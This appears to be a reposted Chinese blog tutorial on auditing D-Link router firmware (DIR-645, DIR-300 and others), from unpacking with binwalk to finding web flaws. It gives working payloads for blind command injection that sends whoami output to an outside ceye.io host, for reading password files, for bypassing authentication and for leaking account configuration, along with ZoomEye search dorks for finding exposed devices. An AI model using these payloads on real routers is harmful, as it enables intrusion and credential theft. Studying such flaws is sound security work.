我是靠谱客的博主 义气小霸王,这篇文章主要介绍D-Link系列路由器漏洞挖掘,现在分享给大家,希望可以做个参考。

参考

http://www.freebuf.com/articles/terminal/153176.html
https://paper.seebug.org/429/
http://www.s3cur1ty.de/m1adv2013-017
http://seclists.org/bugtraq/2013/Dec/11
http://www.devttys0.com/wp-content/uploads/2010/12/dlink_php_vulnerability.pdf
https://packetstormsecurity.com/files/120591/dlinkdir645-bypass.txt

源码

D-Link路由器固件下载地址:
ftp://ftp2.dlink.com/PRODUCTS/

binwalk解压固件

kali-linux自带binwalk,编译过程

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ sudo apt-get update $ sudo apt-get install build-essential autoconf git # https://github.com/devttys0/binwalk/blob/master/INSTALL.md $ git clone https://github.com/devttys0/binwalk.git $ cd binwalk # python2.7安装 $ sudo python setup.py install # python2.7手动安装依赖库 $ sudo apt-get install python-lzma $ sudo apt-get install python-crypto $ sudo apt-get install libqt4-opengl python-opengl python-qt4 python-qt4-gl python-numpy python-scipy python-pip $ sudo pip install pyqtgraph $ sudo apt-get install python-pip $ sudo pip install capstone # Install standard extraction utilities(必选) $ sudo apt-get install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools # Install sasquatch to extract non-standard SquashFS images(必选) $ sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev $ git clone https://github.com/devttys0/sasquatch $ (cd sasquatch && ./build.sh) # Install jefferson to extract JFFS2 file systems(可选) $ sudo pip install cstruct $ git clone https://github.com/sviehb/jefferson $ (cd jefferson && sudo python setup.py install) # Install ubi_reader to extract UBIFS file systems(可选) $ sudo apt-get install liblzo2-dev python-lzo $ git clone https://github.com/jrspruitt/ubi_reader $ (cd ubi_reader && sudo python setup.py install) # Install yaffshiv to extract YAFFS file systems(可选) $ git clone https://github.com/devttys0/yaffshiv $ (cd yaffshiv && sudo python setup.py install) # Install unstuff (closed source) to extract StuffIt archive files(可选) $ wget -O - http://my.smithmicro.com/downloads/files/stuffit520.611linux-i386.tar.gz | tar -zxv $ sudo cp bin/unstuff /usr/local/bin/

按照上面的命令就可以完整的安装binwalk了,这样就可以解开市面上的大部分固件包。 然后用binwalk -Me 固件包名称解固件,然后我们会得到以下划线开头的名称的文件夹,文件夹里squashfs-root文件夹,就是路由器的完整固件包。

漏洞挖掘

此文章针对历史路由器的web漏洞进行分析,路由器的web文件夹 一般就在suashfs-root/www或者 suashfs-root/htdocs文件夹里。路由器固件所使用的语言一般为 asp,php,cgi,lua 等语言。这里主要进行php的代码审计来挖掘漏洞。

Zoomeye dork: DIR-815 or DIR-645

这里以 D-Link DIR-645固件为例,解开固件进入 suashfs-root/htdocs 文件夹。
这个漏洞出现在diagnostic.php文件。直接看代码

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
HTTP/1.1 200 OK Content-Type: text/xml <? if ($_POST["act"] == "ping") { set("/runtime/diagnostic/ping", $_POST["dst"]); $result = "OK"; } else if ($_POST["act"] == "pingreport") { $result = get("x", "/runtime/diagnostic/ping"); } echo '<?xml version="1.0"?>n'; ?><diagnostic> <report><?=$result?></report> </diagnostic>

分析代码可以看到,这里没有进行权限认证,所以可以直接绕过登录。继续往下看,set("/runtime/diagnostic/ping", $_POST["dst"]); 这段代码就是造成漏洞的关键代码。参数dst 没有任何过滤直接进入到了 ping的命令执行里,导致任意命令执行漏洞。继续往下看 $result = "OK"; 无论是否执行成功,这里都会显示OK。所以这是一个盲注的命令执行。以此构造payload。

复制代码
1
2
3
url = 'localhost/diagnostic.php' data = "act=ping&dst=%26 ping `whoami`.ceye.io%26"

因为是盲注的命令执行,所以这里需要借助一个盲打平台(如:ceye),来验证漏洞是否存在。

补充
这里用act=pingreport可能就有回显了,需要有设备环境调试一下。

Zoomeye dork:DIR-300 or DIR-600

这里以 D-Link DIR-300固件为例,解开固件进入 suashfs-root/www 文件夹。
漏洞出现在/model/__show_info.php文件。

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<? if($REQUIRE_FILE == "var/etc/httpasswd" || $REQUIRE_FILE == "var/etc/hnapasswd") { echo "<title>404 Not Found</title>n"; echo "<h1>404 Not Found</h1>n"; } else { if($REQUIRE_FILE!="") { require($LOCALE_PATH."/".$REQUIRE_FILE); } else { echo $m_context; echo $m_context2;//jana added if($m_context_next!="") { echo $m_context_next; } echo "<br><br><br>n"; if($USE_BUTTON=="1") {echo "<input type=button name='bt' value='".$m_button_dsc."' onclick='click_bt();'>n"; } } } ?>

这里看到已经禁止了$REQUIRE_FILE的参数为var/etc/httpasswd和var/etc/hnapasswd。
这么一看无法获取账号密码。但是我们可以从根路径开始配置httpasswd的路径,就可以绕过这个过滤了。

payload

复制代码
1
2
localhost/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd

这里设置REQUIRE_FILE=/var/etc/httpasswd成功绕过上面的if判断,进行任意文件读取。

Zoomeye dork:DIR-300 or DIR-615

这里以 D-Link DIR-300固件为例,解开固件进入 suashfs-root/www 文件夹

默认情况下,Web界面中的所有页面都需要进行身份验证,但是某些页面(如 登录页面) 必须在认证之前访问。 为了让这些页面不进行认证,他们设置了一个PHP变量NO_NEED_AUTH:

复制代码
1
2
3
4
5
6
7
<? $MY_NAME ="login_fail"; $MY_MSG_FILE=$MY_NAME.".php"; $NO_NEED_AUTH="1"; $NO_SESSION_TIMEOUT="1"; require("/www/model/__html_head.php"); ?>

此漏洞触发的原因在于 全局文件 _html_head.php。

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<? /* vi: set sw=4 ts=4: */ if ($NO_NEED_AUTH!="1") { /* for POP up login. */ // require("/www/auth/__authenticate_p.php"); // if ($AUTH_RESULT=="401") {exit;} /* for WEB based login */ require("/www/auth/__authenticate_s.php"); if($AUTH_RESULT=="401") {require("/www/login.php"); exit;} if($AUTH_RESULT=="full") {require("/www/session_full.php"); exit;} if($AUTH_RESULT=="timeout") {require("/www/session_timeout.php"); exit;} $AUTH_GROUP=fread("/var/proc/web/session:".$sid."/user/group"); } require("/www/model/__lang_msg.php"); ?>

这里我们看到 $NO_NEED_AUTH!="1" 如果 (NO_NEED_AUTH 不为 1 则进入身份认证。如果我们把)NO_NEED_AUTH 值设置为 1 那就绕过了认证进行任意操作。

payload

复制代码
1
2
localhost/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0

这里AUTH_GROUP=0 表示admin权限

Zoomeye dork:DIR-645

D-Link DIR-645 getcfg.php 文件由于过滤不严格导致信息泄露漏洞。

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$SERVICE_COUNT = cut_count($_POST["SERVICES"], ","); TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]); $SERVICE_INDEX = 0; while ($SERVICE_INDEX < $SERVICE_COUNT) { $GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ","); TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC); if ($GETCFG_SVC!="") { $file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php"; /* GETCFG_SVC will be passed to the child process. */ if (isfile($file)=="1") dophp("load", $file); } $SERVICE_INDEX++; }

这里我们可以看到 $GETCFG_SVC 没有任何过滤直接获取了 POST 传递过来的SERVICES的值。如果 $GETCFG_SVC 不为空,则进行文件读取。这里我们就可以读取存储此设备信息的 DEVICE.ACCOUNT.xml.php 文件。

payload:

复制代码
1
2
3
http://localhost/getcfg.php post:SERVICES=DEVICE.ACCOUNT

总结

可以发现此篇文章所提及的漏洞都是web领域的常见漏洞,如权限绕过,信息泄露,命令执行等漏洞。由于路由器的安全没有得到足够的重视,此文涉及到的漏洞都是因为对参数过滤不严格所导致的。 路由器的漏洞影响还是很广泛的,在此提醒用户,及时更新路由器固件,以此避免各种入侵事件,以及个人信息的泄露。

转载于:https://www.cnblogs.com/17bdw/p/11345345.html

最后

以上就是义气小霸王最近收集整理的关于D-Link系列路由器漏洞挖掘的全部内容,更多相关D-Link系列路由器漏洞挖掘内容请搜索靠谱客的其他文章。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(57)

评论列表共有 0 条评论

立即
投稿
返回
顶部